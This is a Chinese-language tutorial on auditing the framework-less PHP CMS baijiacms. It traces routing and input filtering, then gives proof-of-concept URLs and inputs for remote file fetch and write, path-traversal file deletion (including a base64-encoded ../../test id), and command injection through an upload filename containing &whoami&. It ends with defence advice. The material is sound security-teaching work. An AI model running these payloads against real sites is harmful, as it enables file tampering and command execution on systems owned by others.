PHP无框架代码审计
字数 1778 2025-08-18 11:36:57

PHP无框架代码审计实战教程

0x00 审计环境准备

  • 运行环境

    • phpstudy (php5.6.27 + Apache + mysql)
    • Windows10 64位
    • PHPStorm
  • 目标系统:baijiacms

  • 部署方式

    • 将源码放到WWW目录
    • 访问/install.php进行安装

0x01 目录结构与路由分析

1. 目录结构分析

无框架PHP应用审计首先需要了解其目录结构:

  1. 入口文件:根目录下的index.php
  2. 安全过滤文件:通常在includes目录下
  3. 函数集文件:通常在common或function等文件夹中

2. 入口文件分析(index.php)

  1. 检查/config/install.link文件是否存在,不存在则重定向到install.php
  2. 通过条件判断确定$mod的值并定义SYSTEM_ACT常量
  3. 根据传入参数doact确定参数值
  4. 最后包含includes/baijiacms.php

3. 安全过滤分析

includes/baijiacms.php中定义了安全过滤函数:

function irequestsplite() {
    // 使用htmlspecialchars()将预定义字符(&、<、>、"、')转换为HTML实体
    // 防止XSS攻击
}

该函数对$_GET$_POST传入的数据都进行处理。

4. 路由分析

  • 主要参数:
    • mod:代表目录名
    • act:代表目录名
    • do:代表文件名

示例:

  • 登录页面URL参数:modactdobeid
  • 后台页面URL参数:sitemanagerstore

0x02 漏洞审计实战

1. SQL注入审计

审计方法

  • 全局搜索select等SQL关键词
  • 检查SQL语句中是否有拼接的变量
  • 检查参数过滤情况

案例
\system\manager\class\web\store.php中:

$condition = " and sname like '%".$_GP['sname']."%'";

分析

  • 虽然存在SQL拼接,但$_GP经过htmlspecialchars()处理
  • 单引号被转换为HTML实体,无法闭合SQL语句
  • 实际不存在SQL注入漏洞

2. 文件上传/文件写入审计

审计方法

  • 搜索move_uploaded_filefile_put_contents等函数
  • 检查文件类型、大小、路径限制

漏洞点1
common.inc.php中的fetch_net_file_upload函数:

function fetch_net_file_upload($url) {
    // 无文件后缀限制
    // 通过$url获取文件名
    // 使用file_put_content上传文件
}

调用链
file_movefile_savefetch_net_file_upload

漏洞验证

/index.php?mod=web&act=public&do=file&op=fetch&url=http://远程IP/info.php

3. 任意文件删除审计

审计方法

  • 搜索unlinkrmdir函数
  • 检查路径过滤情况

漏洞点1
common.inc.php中的file_delete函数:

function file_delete($file) {
    if (file_exists($file)) {
        unlink($file);
    }
}

调用位置
/system/eshop/coe/mobie/util/uploader.php

file_delete($file);

漏洞验证

/index.php?mod=mobile&do=util&act=uploader&m=eshop&op=remove&file=../aaa.txt

漏洞点2
common.inc.php中的rmdirs函数:

function rmdirs($dir) {
    // 使用unlink和rmdir删除目录/文件
    // 仅限制不能删除/cache/目录
}

调用位置
/system/manager/class/web/database.php

rmdirs(base64_decode($_GP['id']));

漏洞验证

/index.php?mod=web&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==
(../../test的base64编码)

4. 命令执行审计

审计方法

  • 搜索execpassthrusystem等函数
  • 检查参数是否可控

漏洞点
common.inc.php中的file_save函数:

if (!empty($settings['image_compress_openscale'])) {
    system("convert {$file_full_path} -quality 80 -resize 50% {$file_full_path}");
}

利用条件

  1. 设置image_compress_openscale为非空
  2. 控制$file_full_path参数

调用位置
/system/weixin/class/web/setting.php

$file_full_path = IA_ROOT . '/' . $fie['name'];

漏洞验证

  1. 访问漏洞路径:
    /index.php/?mod=web&act=weixin&do=setting
    
  2. 上传文件时修改文件名:
    filename="&whoami&.txt"
    
    (利用&分割命令)

0x03 审计总结

  1. 审计流程

    • 了解目录结构和路由机制
    • 分析全局过滤和安全机制
    • 从功能点和代码两个方向审计
  2. 常见漏洞点

    • SQL注入:关注SQL拼接和参数过滤
    • 文件操作:上传、删除、写入等功能的过滤
    • 命令执行:系统函数调用和参数控制
  3. 审计技巧

    • 全局搜索危险函数
    • 跟踪参数传递流程
    • 验证过滤机制的完整性
  4. 防御建议

    • 对所有输入参数进行严格过滤
    • 使用预编译SQL语句
    • 限制文件操作的范围和权限
    • 禁用危险系统函数或严格限制参数

通过本案例可以掌握无框架PHP应用的审计方法和常见漏洞挖掘技巧,实际审计时应结合业务逻辑和功能实现进行深入分析。

PHP无框架代码审计实战教程 0x00 审计环境准备 运行环境 : phpstudy (php5.6.27 + Apache + mysql) Windows10 64位 PHPStorm 目标系统 :baijiacms 部署方式 : 将源码放到WWW目录 访问/install.php进行安装 0x01 目录结构与路由分析 1. 目录结构分析 无框架PHP应用审计首先需要了解其目录结构: 入口文件 :根目录下的index.php 安全过滤文件 :通常在includes目录下 函数集文件 :通常在common或function等文件夹中 2. 入口文件分析(index.php) 检查 /config/install.link 文件是否存在,不存在则重定向到install.php 通过条件判断确定 $mod 的值并定义 SYSTEM_ACT 常量 根据传入参数 do 和 act 确定参数值 最后包含 includes/baijiacms.php 3. 安全过滤分析 includes/baijiacms.php 中定义了安全过滤函数: 该函数对 $_GET 和 $_POST 传入的数据都进行处理。 4. 路由分析 主要参数: mod :代表目录名 act :代表目录名 do :代表文件名 示例: 登录页面URL参数: mod 、 act 、 do 、 beid 后台页面URL参数: site 、 manager 、 store 0x02 漏洞审计实战 1. SQL注入审计 审计方法 : 全局搜索 select 等SQL关键词 检查SQL语句中是否有拼接的变量 检查参数过滤情况 案例 : 在 \system\manager\class\web\store.php 中: 分析 : 虽然存在SQL拼接,但 $_GP 经过 htmlspecialchars() 处理 单引号被转换为HTML实体,无法闭合SQL语句 实际不存在SQL注入漏洞 2. 文件上传/文件写入审计 审计方法 : 搜索 move_uploaded_file 、 file_put_contents 等函数 检查文件类型、大小、路径限制 漏洞点1 : common.inc.php 中的 fetch_net_file_upload 函数: 调用链 : file_move → file_save → fetch_net_file_upload 漏洞验证 : 3. 任意文件删除审计 审计方法 : 搜索 unlink 、 rmdir 函数 检查路径过滤情况 漏洞点1 : common.inc.php 中的 file_delete 函数: 调用位置 : /system/eshop/coe/mobie/util/uploader.php : 漏洞验证 : 漏洞点2 : common.inc.php 中的 rmdirs 函数: 调用位置 : /system/manager/class/web/database.php : 漏洞验证 : 4. 命令执行审计 审计方法 : 搜索 exec 、 passthru 、 system 等函数 检查参数是否可控 漏洞点 : common.inc.php 中的 file_save 函数: 利用条件 : 设置 image_compress_openscale 为非空 控制 $file_full_path 参数 调用位置 : /system/weixin/class/web/setting.php : 漏洞验证 : 访问漏洞路径: 上传文件时修改文件名: (利用 & 分割命令) 0x03 审计总结 审计流程 : 了解目录结构和路由机制 分析全局过滤和安全机制 从功能点和代码两个方向审计 常见漏洞点 : SQL注入:关注SQL拼接和参数过滤 文件操作:上传、删除、写入等功能的过滤 命令执行:系统函数调用和参数控制 审计技巧 : 全局搜索危险函数 跟踪参数传递流程 验证过滤机制的完整性 防御建议 : 对所有输入参数进行严格过滤 使用预编译SQL语句 限制文件操作的范围和权限 禁用危险系统函数或严格限制参数 通过本案例可以掌握无框架PHP应用的审计方法和常见漏洞挖掘技巧,实际审计时应结合业务逻辑和功能实现进行深入分析。